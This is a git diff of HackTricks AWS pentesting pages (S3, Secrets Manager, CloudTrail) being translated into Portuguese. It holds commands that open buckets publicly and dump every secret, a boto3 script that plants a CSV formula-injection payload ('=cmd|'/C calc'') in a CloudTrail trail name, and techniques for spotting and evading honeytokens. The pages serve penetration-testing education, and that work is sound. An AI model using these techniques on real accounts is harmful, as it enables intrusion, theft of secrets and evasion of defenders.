-Client-side encryption with KMS, CSE-KMS +Criptografia do lado do cliente com KMS, CSE-KMS -Similarly to SSE-KMS, this also uses the key management service to generate your data encryption keys. However, this time KMS is called upon via the client not S3. The encryption then takes place client-side and the encrypted data is then sent to S3 to be stored. +Semelhante ao SSE-KMS, isso também usa o serviço de gerenciamento de chaves para gerar suas chaves de criptografia de dados. No entanto, desta vez o KMS é chamado pelo cliente, não pelo S3. A criptografia ocorre do lado do cliente e os dados criptografados são enviados ao S3 para serem armazenados. -- Encryption: - - Client request for a data key to KMS - - KMS returns the plaintext DEK and the encrypted DEK with the CMK - - Both keys are sent back - - The client then encrypts the data with the plaintext DEK and send to S3 the encrypted data + the encrypted DEK (which is saved as metadata of the encrypted data inside S3) -- Decryption: - - The encrypted data with the encrypted DEK is sent to the client - - The client asks KMS to decrypt the encrypted key using the CMK and KMS sends back the plaintext DEK - - The client can now decrypt the encrypted data +- Criptografia: +- O cliente solicita uma chave de dados ao KMS +- O KMS retorna o DEK em texto simples e o DEK criptografado com o CMK +- Ambas as chaves são enviadas de volta +- O cliente então criptografa os dados com o DEK em texto simples e envia ao S3 os dados criptografados + o DEK criptografado (que é salvo como metadados dos dados criptografados dentro do S3) +- Descriptografia: +- Os dados criptografados com o DEK criptografado são enviados ao cliente +- O cliente solicita ao KMS para descriptografar a chave criptografada usando o CMK e o KMS envia de volta o DEK em texto simples +- O cliente agora pode descriptografar os dados criptografados
-Client-side encryption with customer provided keys, CSE-C +Criptografia do lado do cliente com chaves fornecidas pelo cliente, CSE-C -Using this mechanism, you are able to utilize your own provided keys and use an AWS-SDK client to encrypt your data before sending it to S3 for storage. +Usando este mecanismo, você pode utilizar suas próprias chaves fornecidas e usar um cliente AWS-SDK para criptografar seus dados antes de enviá-los ao S3 para armazenamento. -- Encryption: - - The client generates a DEK and encrypts the plaintext data - - Then, using it's own custom CMK it encrypts the DEK - - submit the encrypted data + encrypted DEK to S3 where it's stored -- Decryption: - - S3 sends the encrypted data and DEK - - As the client already has the CMK used to encrypt the DEK, it decrypts the DEK and then uses the plaintext DEK to decrypt the data +- Criptografia: +- O cliente gera um DEK e criptografa os dados em texto simples +- Em seguida, usando seu próprio CMK personalizado, ele criptografa o DEK +- envia os dados criptografados + DEK criptografado para o S3, onde são armazenados +- Descriptografia: +- O S3 envia os dados criptografados e o DEK +- Como o cliente já possui o CMK usado para criptografar o DEK, ele descriptografa o DEK e então usa o DEK em texto simples para descriptografar os dados
-### **Enumeration** - -One of the traditional main ways of compromising AWS orgs start by compromising buckets publicly accesible. **You can find** [**public buckets enumerators in this page**](../aws-unauthenticated-enum-access/#s3-buckets)**.** +### **Enumeração** +Uma das principais maneiras tradicionais de comprometer organizações AWS começa comprometendo buckets publicamente acessíveis. **Você pode encontrar** [**enumeradores de buckets públicos nesta página**](../aws-unauthenticated-enum-access/#s3-buckets)**.** ```bash # Get buckets ACLs aws s3api get-bucket-acl --bucket @@ -184,28 +177,28 @@ aws s3api list-objects --bucket BUCKETNAME --output json --query "[sum(Contents[ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket ##JSON policy example { - "Id": "Policy1568185116930", - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "Stmt1568184932403", - "Action": [ - "s3:ListBucket" - ], - "Effect": "Allow", - "Resource": "arn:aws:s3:::welcome", - "Principal": "*" - }, - { - "Sid": "Stmt1568185007451", - "Action": [ - "s3:GetObject" - ], - "Effect": "Allow", - "Resource": "arn:aws:s3:::welcome/*", - "Principal": "*" - } - ] +"Id": "Policy1568185116930", +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "Stmt1568184932403", +"Action": [ +"s3:ListBucket" +], +"Effect": "Allow", +"Resource": "arn:aws:s3:::welcome", +"Principal": "*" +}, +{ +"Sid": "Stmt1568185007451", +"Action": [ +"s3:GetObject" +], +"Effect": "Allow", +"Resource": "arn:aws:s3:::welcome/*", +"Principal": "*" +} +] } # Update bucket ACL @@ -218,78 +211,76 @@ aws s3api put-object-acl --bucket --key flag --access-control-poli ##JSON ACL example ## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved. { - "Owner": { - "DisplayName": "", - "ID": "" - }, - "Grants": [ - { - "Grantee": { - "Type": "Group", - "URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers" - }, - "Permission": "FULL_CONTROL" - } - ] +"Owner": { +"DisplayName": "", +"ID": "" +}, +"Grants": [ +{ +"Grantee": { +"Type": "Group", +"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers" +}, +"Permission": "FULL_CONTROL" +} +] } ## An ACL should give you the permission WRITE_ACP to be able to put a new ACL ``` - ### dual-stack -You can access an S3 bucket through a dual-stack endpoint by using a virtual hosted-style or a path-style endpoint name. These are useful to access S3 through IPv6. +Você pode acessar um bucket S3 através de um endpoint de pilha dupla usando um nome de endpoint de estilo hospedado virtual ou de estilo de caminho. Estes são úteis para acessar o S3 através do IPv6. -Dual-stack endpoints use the following syntax: +Os endpoints de pilha dupla usam a seguinte sintaxe: - `bucketname.s3.dualstack.aws-region.amazonaws.com` - `s3.dualstack.aws-region.amazonaws.com/bucketname` ### Privesc -In the following page you can check how to **abuse S3 permissions to escalate privileges**: +Na página a seguir, você pode verificar como **abusar das permissões do S3 para escalar privilégios**: {{#ref}} ../aws-privilege-escalation/aws-s3-privesc.md {{#endref}} -### Unauthenticated Access +### Acesso Não Autenticado {{#ref}} ../aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md {{#endref}} -### S3 Post Exploitation +### S3 Pós Exploração {{#ref}} ../aws-post-exploitation/aws-s3-post-exploitation.md {{#endref}} -### Persistence +### Persistência {{#ref}} ../aws-persistence/aws-s3-persistence.md {{#endref}} -## Other S3 vulns +## Outras vulnerabilidades do S3 -### S3 HTTP Cache Poisoning Issue +### Problema de Envenenamento de Cache HTTP do S3 -[**According to this research**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies#heading-s3-http-desync-cache-poisoning-issue) it was possible to cache the response of an arbitrary bucket as if it belonged to a different one. This could have been abused to change for example javascript file responses and compromise arbitrary pages using S3 to store static code. +[**De acordo com esta pesquisa**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies#heading-s3-http-desync-cache-poisoning-issue), foi possível armazenar em cache a resposta de um bucket arbitrário como se pertencesse a um diferente. Isso poderia ter sido abusado para alterar, por exemplo, as respostas de arquivos javascript e comprometer páginas arbitrárias usando o S3 para armazenar código estático. ## Amazon Athena -Amazon Athena is an interactive query service that makes it easy to **analyze data** directly in Amazon Simple Storage Service (Amazon **S3**) **using** standard **SQL**. +Amazon Athena é um serviço de consulta interativa que facilita a **análise de dados** diretamente no Amazon Simple Storage Service (Amazon **S3**) **usando** SQL **padrão**. -You need to **prepare a relational DB table** with the format of the content that is going to appear in the monitored S3 buckets. And then, Amazon Athena will be able to populate the DB from the logs, so you can query it. +Você precisa **preparar uma tabela de DB relacional** com o formato do conteúdo que vai aparecer nos buckets S3 monitorados. E então, o Amazon Athena será capaz de popular o DB a partir dos logs, para que você possa consultá-lo. -Amazon Athena supports the **ability to query S3 data that is already encrypted** and if configured to do so, **Athena can also encrypt the results of the query which can then be stored in S3**. +Amazon Athena suporta a **capacidade de consultar dados do S3 que já estão criptografados** e, se configurado para isso, **Athena também pode criptografar os resultados da consulta que podem ser armazenados no S3**. -**This encryption of results is independent of the underlying queried S3 data**, meaning that even if the S3 data is not encrypted, the queried results can be encrypted. A couple of points to be aware of is that Amazon Athena only supports data that has been **encrypted** with the **following S3 encryption methods**, **SSE-S3, SSE-KMS, and CSE-KMS**. +**Essa criptografia de resultados é independente dos dados S3 consultados**, o que significa que mesmo que os dados S3 não estejam criptografados, os resultados consultados podem ser criptografados. Alguns pontos a serem observados são que o Amazon Athena suporta apenas dados que foram **criptografados** com os **seguintes métodos de criptografia do S3**, **SSE-S3, SSE-KMS e CSE-KMS**. -SSE-C and CSE-E are not supported. In addition to this, it's important to understand that Amazon Athena will only run queries against **encrypted objects that are in the same region as the query itself**. If you need to query S3 data that's been encrypted using KMS, then specific permissions are required by the Athena user to enable them to perform the query. - -### Enumeration +SSE-C e CSE-E não são suportados. Além disso, é importante entender que o Amazon Athena só executará consultas contra **objetos criptografados que estão na mesma região que a própria consulta**. Se você precisar consultar dados do S3 que foram criptografados usando KMS, permissões específicas são necessárias pelo usuário do Athena para permitir que eles realizem a consulta. +### Enumeração ```bash # Get catalogs aws athena list-data-catalogs @@ -311,14 +302,9 @@ aws athena get-prepared-statement --statement-name --work-group # Run query aws athena start-query-execution --query-string ``` - -## References +## Referências - [https://cloudsecdocs.com/aws/defensive/tooling/cli/#s3](https://cloudsecdocs.com/aws/defensive/tooling/cli/#s3) - [https://docs.aws.amazon.com/AmazonS3/latest/userguide/dual-stack-endpoints.html](https://docs.aws.amazon.com/AmazonS3/latest/userguide/dual-stack-endpoints.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md index a50eaa24f..1a4a31743 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md @@ -4,22 +4,21 @@ ## AWS Secrets Manager -AWS Secrets Manager is designed to **eliminate the use of hard-coded secrets in applications by replacing them with an API call**. This service serves as a **centralized repository for all your secrets**, ensuring they are managed uniformly across all applications. +AWS Secrets Manager foi projetado para **eliminar o uso de segredos codificados em aplicativos, substituindo-os por uma chamada de API**. Este serviço serve como um **repositório centralizado para todos os seus segredos**, garantindo que sejam gerenciados de forma uniforme em todos os aplicativos. -The manager simplifies the **process of rotating secrets**, significantly improving the security posture of sensitive data like database credentials. Additionally, secrets like API keys can be automatically rotated with the integration of lambda functions. +O gerenciador simplifica o **processo de rotação de segredos**, melhorando significativamente a postura de segurança de dados sensíveis, como credenciais de banco de dados. Além disso, segredos como chaves de API podem ser rotacionados automaticamente com a integração de funções lambda. -The access to secrets is tightly controlled through detailed IAM identity-based policies and resource-based policies. +O acesso aos segredos é rigidamente controlado por meio de políticas detalhadas baseadas em identidade IAM e políticas baseadas em recursos. -For granting access to secrets to a user from a different AWS account, it's necessary to: +Para conceder acesso a segredos a um usuário de uma conta AWS diferente, é necessário: -1. Authorize the user to access the secret. -2. Grant permission to the user to decrypt the secret using KMS. -3. Modify the Key policy to allow the external user to utilize it. +1. Autorizar o usuário a acessar o segredo. +2. Conceder permissão ao usuário para descriptografar o segredo usando KMS. +3. Modificar a política da chave para permitir que o usuário externo a utilize. -**AWS Secrets Manager integrates with AWS KMS to encrypt your secrets within AWS Secrets Manager.** +**AWS Secrets Manager integra-se com AWS KMS para criptografar seus segredos dentro do AWS Secrets Manager.** ### **Enumeration** - ```bash aws secretsmanager list-secrets #Get metadata of all secrets aws secretsmanager list-secret-version-ids --secret-id # Get versions @@ -28,27 +27,22 @@ aws secretsmanager get-secret-value --secret-id # Get value aws secretsmanager get-secret-value --secret-id --version-id # Get value of a different version aws secretsmanager get-resource-policy --secret-id --secret-id ``` - ### Privesc {{#ref}} ../aws-privilege-escalation/aws-secrets-manager-privesc.md {{#endref}} -### Post Exploitation +### Pós Exploração {{#ref}} ../aws-post-exploitation/aws-secrets-manager-post-exploitation.md {{#endref}} -### Persistence +### Persistência {{#ref}} ../aws-persistence/aws-secrets-manager-persistence.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/README.md index 8348ff098..7efa9fc2f 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/README.md @@ -1,6 +1 @@ -# AWS - Security & Detection Services - - - - - +# AWS - Serviços de Segurança e Detecção diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md index 780f52f6e..26acc4ccb 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md @@ -4,111 +4,108 @@ ## **CloudTrail** -AWS CloudTrail **records and monitors activity within your AWS environment**. It captures detailed **event logs**, including who did what, when, and from where, for all interactions with AWS resources. This provides an audit trail of changes and actions, aiding in security analysis, compliance auditing, and resource change tracking. CloudTrail is essential for understanding user and resource behavior, enhancing security postures, and ensuring regulatory compliance. +AWS CloudTrail **registra e monitora a atividade dentro do seu ambiente AWS**. Ele captura **logs de eventos** detalhados, incluindo quem fez o quê, quando e de onde, para todas as interações com os recursos AWS. Isso fornece um histórico de auditoria de mudanças e ações, auxiliando na análise de segurança, auditoria de conformidade e rastreamento de mudanças de recursos. CloudTrail é essencial para entender o comportamento de usuários e recursos, aprimorar posturas de segurança e garantir conformidade regulatória. -Each logged event contains: +Cada evento registrado contém: -- The name of the called API: `eventName` -- The called service: `eventSource` -- The time: `eventTime` -- The IP address: `SourceIPAddress` -- The agent method: `userAgent`. Examples: - - Signing.amazonaws.com - From AWS Management Console - - console.amazonaws.com - Root user of the account - - lambda.amazonaws.com - AWS Lambda -- The request parameters: `requestParameters` -- The response elements: `responseElements` +- O nome da API chamada: `eventName` +- O serviço chamado: `eventSource` +- O tempo: `eventTime` +- O endereço IP: `SourceIPAddress` +- O método do agente: `userAgent`. Exemplos: +- Signing.amazonaws.com - Do AWS Management Console +- console.amazonaws.com - Usuário root da conta +- lambda.amazonaws.com - AWS Lambda +- Os parâmetros da solicitação: `requestParameters` +- Os elementos da resposta: `responseElements` -Event's are written to a new log file **approximately each 5 minutes in a JSON file**, they are held by CloudTrail and finally, log files are **delivered to S3 approximately 15mins after**.\ -CloudTrails logs can be **aggregated across accounts and across regions.**\ -CloudTrail allows to use **log file integrity in order to be able to verify that your log files have remained unchanged** since CloudTrail delivered them to you. It creates a SHA-256 hash of the logs inside a digest file. A sha-256 hash of the new logs is created every hour.\ -When creating a Trail the event selectors will allow you to indicate the trail to log: Management, data or insights events. +Os eventos são escritos em um novo arquivo de log **aproximadamente a cada 5 minutos em um arquivo JSON**, eles são mantidos pelo CloudTrail e, finalmente, os arquivos de log são **entregues ao S3 aproximadamente 15 minutos depois**.\ +Os logs do CloudTrail podem ser **agregados entre contas e entre regiões.**\ +O CloudTrail permite usar **a integridade do arquivo de log para poder verificar se seus arquivos de log permaneceram inalterados** desde que o CloudTrail os entregou a você. Ele cria um hash SHA-256 dos logs dentro de um arquivo de resumo. Um hash sha-256 dos novos logs é criado a cada hora.\ +Ao criar um Trail, os seletores de eventos permitirão que você indique o trail a ser registrado: eventos de gerenciamento, dados ou insights. -Logs are saved in an S3 bucket. By default Server Side Encryption is used (SSE-S3) so AWS will decrypt the content for the people that has access to it, but for additional security you can use SSE with KMS and your own keys. +Os logs são salvos em um bucket S3. Por padrão, a Criptografia do Lado do Servidor é usada (SSE-S3), então a AWS descriptografa o conteúdo para as pessoas que têm acesso a ele, mas para segurança adicional, você pode usar SSE com KMS e suas próprias chaves. -The logs are stored in a **S3 bucket with this name format**: +Os logs são armazenados em um **bucket S3 com este formato de nome**: - **`BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD`** -- Being the BucketName: **`aws-cloudtrail-logs--`** -- Example: **`aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/`** +- Sendo o BucketName: **`aws-cloudtrail-logs--`** +- Exemplo: **`aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/`** -Inside each folder each log will have a **name following this format**: **`AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz`** +Dentro de cada pasta, cada log terá um **nome seguindo este formato**: **`AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz`** -Log File Naming Convention +Convenção de Nomenclatura de Arquivos de Log ![](<../../../../images/image (122).png>) -Moreover, **digest files (to check file integrity)** will be inside the **same bucket** in: +Além disso, **arquivos de resumo (para verificar a integridade do arquivo)** estarão dentro do **mesmo bucket** em: ![](<../../../../images/image (195).png>) -### Aggregate Logs from Multiple Accounts +### Agregar Logs de Múltiplas Contas -- Create a Trial in the AWS account where you want the log files to be delivered to -- Apply permissions to the destination S3 bucket allowing cross-account access for CloudTrail and allow each AWS account that needs access -- Create a new Trail in the other AWS accounts and select to use the created bucket in step 1 +- Crie um Trail na conta AWS onde você deseja que os arquivos de log sejam entregues +- Aplique permissões ao bucket S3 de destino permitindo acesso entre contas para o CloudTrail e permita que cada conta AWS que precisa de acesso +- Crie um novo Trail nas outras contas AWS e selecione usar o bucket criado na etapa 1 -However, even if you can save al the logs in the same S3 bucket, you cannot aggregate CloudTrail logs from multiple accounts into a CloudWatch Logs belonging to a single AWS account. +No entanto, mesmo que você possa salvar todos os logs no mesmo bucket S3, não é possível agregar logs do CloudTrail de várias contas em um CloudWatch Logs pertencente a uma única conta AWS. > [!CAUTION] -> Remember that an account can have **different Trails** from CloudTrail **enabled** storing the same (or different) logs in different buckets. +> Lembre-se de que uma conta pode ter **diferentes Trails** do CloudTrail **ativados** armazenando os mesmos (ou diferentes) logs em diferentes buckets. -### Cloudtrail from all org accounts into 1 +### Cloudtrail de todas as contas da org em 1 -When creating a CloudTrail, it's possible to indicate to get activate cloudtrail for all the accounts in the org and get the logs into just 1 bucket: +Ao criar um CloudTrail, é possível indicar para ativar o cloudtrail para todas as contas na org e obter os logs em apenas 1 bucket:
-This way you can easily configure CloudTrail in all the regions of all the accounts and centralize the logs in 1 account (that you should protect). +Dessa forma, você pode facilmente configurar o CloudTrail em todas as regiões de todas as contas e centralizar os logs em 1 conta (que você deve proteger). -### Log Files Checking - -You can check that the logs haven't been altered by running +### Verificação de Arquivos de Log +Você pode verificar se os logs não foram alterados executando ```javascript aws cloudtrail validate-logs --trail-arn --start-time [--end-time ] [--s3-bucket ] [--s3-prefix ] [--verbose] ``` - ### Logs to CloudWatch -**CloudTrail can automatically send logs to CloudWatch so you can set alerts that warns you when suspicious activities are performed.**\ -Note that in order to allow CloudTrail to send the logs to CloudWatch a **role** needs to be created that allows that action. If possible, it's recommended to use AWS default role to perform these actions. This role will allow CloudTrail to: +**O CloudTrail pode enviar logs automaticamente para o CloudWatch, permitindo que você configure alertas que o avisem quando atividades suspeitas forem realizadas.**\ +Observe que, para permitir que o CloudTrail envie os logs para o CloudWatch, é necessário criar uma **role** que permita essa ação. Se possível, é recomendável usar a role padrão da AWS para realizar essas ações. Essa role permitirá que o CloudTrail: -- CreateLogStream: This allows to create a CloudWatch Logs log streams -- PutLogEvents: Deliver CloudTrail logs to CloudWatch Logs log stream +- CreateLogStream: Isso permite criar streams de log do CloudWatch Logs +- PutLogEvents: Entregar logs do CloudTrail para o stream de log do CloudWatch Logs ### Event History -CloudTrail Event History allows you to inspect in a table the logs that have been recorded: +O Event History do CloudTrail permite que você inspecione em uma tabela os logs que foram registrados: ![](<../../../../images/image (89).png>) ### Insights -**CloudTrail Insights** automatically **analyzes** write management events from CloudTrail trails and **alerts** you to **unusual activity**. For example, if there is an increase in `TerminateInstance` events that differs from established baselines, you’ll see it as an Insight event. These events make **finding and responding to unusual API activity easier** than ever. +**O CloudTrail Insights** automaticamente **analisa** eventos de gerenciamento de escrita dos trilhos do CloudTrail e **avisa** você sobre **atividades incomuns**. Por exemplo, se houver um aumento nos eventos `TerminateInstance` que difere das linhas de base estabelecidas, você verá isso como um evento de Insight. Esses eventos tornam **mais fácil do que nunca encontrar e responder a atividades incomuns de API**. -The insights are stored in the same bucket as the CloudTrail logs in: `BucketName/AWSLogs/AccountID/CloudTrail-Insight` +Os insights são armazenados no mesmo bucket que os logs do CloudTrail em: `BucketName/AWSLogs/AccountID/CloudTrail-Insight` ### Security -| CloudTrail Log File Integrity |
  • Validate if logs have been tampered with (modified or deleted)
  • Uses digest files (create hash for each file)

    • SHA-256 hashing
    • SHA-256 with RSA for digital signing
    • private key owned by Amazon
  • Takes 1 hour to create a digest file (done on the hour every hour)
| +| Integridade do Arquivo de Log do CloudTrail |
  • Validar se os logs foram adulterados (modificados ou excluídos)
  • Usa arquivos de digestão (cria hash para cada arquivo)

    • Hashing SHA-256
    • SHA-256 com RSA para assinatura digital
    • chave privada de propriedade da Amazon
  • Leva 1 hora para criar um arquivo de digestão (feito a cada hora, a cada hora)
| | ------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| Stop unauthorized access |
  • Use IAM policies and S3 bucket policies

    • security team —> admin access
    • auditors —> read only access
  • Use SSE-S3/SSE-KMS to encrypt the logs
| -| Prevent log files from being deleted |
  • Restrict delete access with IAM and bucket policies
  • Configure S3 MFA delete
  • Validate with Log File Validation
| +| Impedir acesso não autorizado |
  • Usar políticas IAM e políticas de bucket S3

    • equipe de segurança —> acesso de administrador
    • auditores —> acesso somente leitura
  • Usar SSE-S3/SSE-KMS para criptografar os logs
| +| Prevenir a exclusão de arquivos de log |
  • Restringir acesso de exclusão com políticas IAM e de bucket
  • Configurar exclusão MFA do S3
  • Validar com Validação de Arquivo de Log
| ## Access Advisor -AWS Access Advisor relies on last 400 days AWS **CloudTrail logs to gather its insights**. CloudTrail captures a history of AWS API calls and related events made in an AWS account. Access Advisor utilizes this data to **show when services were last accessed**. By analyzing CloudTrail logs, Access Advisor can determine which AWS services an IAM user or role has accessed and when that access occurred. This helps AWS administrators make informed decisions about **refining permissions**, as they can identify services that haven't been accessed for extended periods and potentially reduce overly broad permissions based on real usage patterns. +O AWS Access Advisor depende dos últimos 400 dias de logs do AWS **CloudTrail para reunir suas percepções**. O CloudTrail captura um histórico das chamadas de API da AWS e eventos relacionados feitos em uma conta da AWS. O Access Advisor utiliza esses dados para **mostrar quando os serviços foram acessados pela última vez**. Ao analisar os logs do CloudTrail, o Access Advisor pode determinar quais serviços da AWS um usuário ou role IAM acessou e quando esse acesso ocorreu. Isso ajuda os administradores da AWS a tomar decisões informadas sobre **refinar permissões**, pois podem identificar serviços que não foram acessados por longos períodos e potencialmente reduzir permissões excessivamente amplas com base em padrões de uso reais. > [!TIP] -> Therefore, Access Advisor informs about **the unnecessary permissions being given to users** so the admin could remove them +> Portanto, o Access Advisor informa sobre **as permissões desnecessárias sendo concedidas aos usuários** para que o administrador possa removê-las
## Actions ### Enumeration - ```bash # Get trails info aws cloudtrail list-trails @@ -125,125 +122,113 @@ aws cloudtrail list-event-data-stores aws cloudtrail list-queries --event-data-store aws cloudtrail get-query-results --event-data-store --query-id ``` +### **Injeção CSV** -### **CSV Injection** - -It's possible to perform a CVS injection inside CloudTrail that will execute arbitrary code if the logs are exported in CSV and open with Excel.\ -The following code will generate log entry with a bad Trail name containing the payload: - +É possível realizar uma injeção CSV dentro do CloudTrail que executará código arbitrário se os logs forem exportados em CSV e abertos com o Excel.\ +O seguinte código gerará uma entrada de log com um nome de Trail ruim contendo a carga útil: ```python import boto3 payload = "=cmd|'/C calc'|''" client = boto3.client('cloudtrail') response = client.create_trail( - Name=payload, - S3BucketName="random" +Name=payload, +S3BucketName="random" ) print(response) ``` - -For more information about CSV Injections check the page: +Para mais informações sobre Injeções CSV, consulte a página: {{#ref}} https://book.hacktricks.xyz/pentesting-web/formula-injection {{#endref}} -For more information about this specific technique check [https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/](https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/) +Para mais informações sobre esta técnica específica, consulte [https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/](https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/) ## **Bypass Detection** ### HoneyTokens **bypass** -Honeyokens are created to **detect exfiltration of sensitive information**. In case of AWS, they are **AWS keys whose use is monitored**, if something triggers an action with that key, then someone must have stolen that key. +Honeytokens são criados para **detectar a exfiltração de informações sensíveis**. No caso da AWS, eles são **chaves AWS cujo uso é monitorado**, se algo acionar uma ação com essa chave, então alguém deve ter roubado essa chave. -However, Honeytokens like the ones created by [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren) are either using recognizable account name or using the same AWS account ID for all their customers. Therefore, if you can get the account name and/or account ID without making Cloudtrail create any log, **you could know if the key is a honeytoken or not**. +No entanto, Honeytokens como os criados por [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren) estão usando nomes de conta reconhecíveis ou usando o mesmo ID de conta AWS para todos os seus clientes. Portanto, se você conseguir obter o nome da conta e/ou ID da conta sem fazer o Cloudtrail criar nenhum log, **você poderia saber se a chave é um honeytoken ou não**. -[**Pacu**](https://github.com/RhinoSecurityLabs/pacu/blob/79cd7d58f7bff5693c6ae73b30a8455df6136cca/pacu/modules/iam__detect_honeytokens/main.py#L57) has some rules to detect if a key belongs to [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren)**:** +[**Pacu**](https://github.com/RhinoSecurityLabs/pacu/blob/79cd7d58f7bff5693c6ae73b30a8455df6136cca/pacu/modules/iam__detect_honeytokens/main.py#L57) tem algumas regras para detectar se uma chave pertence a [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren)**:** -- If **`canarytokens.org`** appears in the role name or the account ID **`534261010715`** appears in the error message. - - Testing them more recently, they are using the account **`717712589309`** and still has the **`canarytokens.com`** string in the name. -- If **`SpaceCrab`** appears in the role name in the error message -- **SpaceSiren** uses **uuids** to generate usernames: `[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}` -- If the **name looks like randomly generated**, there are high probabilities that it's a HoneyToken. +- Se **`canarytokens.org`** aparecer no nome da função ou o ID da conta **`534261010715`** aparecer na mensagem de erro. +- Testando mais recentemente, eles estão usando a conta **`717712589309`** e ainda tem a string **`canarytokens.com`** no nome. +- Se **`SpaceCrab`** aparecer no nome da função na mensagem de erro +- **SpaceSiren** usa **uuids** para gerar nomes de usuário: `[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}` +- Se o **nome parecer gerado aleatoriamente**, há altas probabilidades de que seja um HoneyToken. -#### Get the account ID from the Key ID - -You can get the **Account ID** from the **encoded** inside the **access key** as [**explained here**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489) and check the account ID with your list of Honeytokens AWS accounts: +#### Obter o ID da conta a partir do ID da chave +Você pode obter o **ID da Conta** a partir do **codificado** dentro da **chave de acesso** como [**explicado aqui**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489) e verificar o ID da conta com sua lista de contas Honeytokens AWS: ```python import base64 import binascii def AWSAccount_from_AWSKeyID(AWSKeyID): - trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix - x = base64.b32decode(trimmed_AWSKeyID) #base32 decode - y = x[0:6] +trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix +x = base64.b32decode(trimmed_AWSKeyID) #base32 decode +y = x[0:6] - z = int.from_bytes(y, byteorder='big', signed=False) - mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False) +z = int.from_bytes(y, byteorder='big', signed=False) +mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False) - e = (z & mask)>>7 - return (e) +e = (z & mask)>>7 +return (e) print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML"))) ``` +Confira mais informações na [**pesquisa original**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489). -Check more information in the [**orginal research**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489). +#### Não gerar um log -#### Do not generate a log +A técnica mais eficaz para isso é, na verdade, uma simples. Basta usar a chave que você acabou de encontrar para acessar algum serviço dentro da sua própria conta de atacante. Isso fará com que **o CloudTrail gere um log dentro da SUA PRÓPRIA conta AWS e não dentro da conta das vítimas**. -The most effective technique for this is actually a simple one. Just use the key you just found to access some service inside your own attackers account. This will make **CloudTrail generate a log inside YOUR OWN AWS account and not inside the victims**. +A questão é que a saída mostrará um erro indicando o ID da conta e o nome da conta, então **você poderá ver se é um Honeytoken**. -The things is that the output will show you an error indicating the account ID and the account name so **you will be able to see if it's a Honeytoken**. +#### Serviços AWS sem logs -#### AWS services without logs +No passado, havia alguns **serviços AWS que não enviavam logs para o CloudTrail** (encontre uma [lista aqui](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-unsupported-aws-services.html)). Alguns desses serviços **responderão** com um **erro** contendo o **ARN do papel da chave** se alguém não autorizado (a chave honeytoken) tentar acessá-lo. -In the past there were some **AWS services that doesn't send logs to CloudTrail** (find a [list 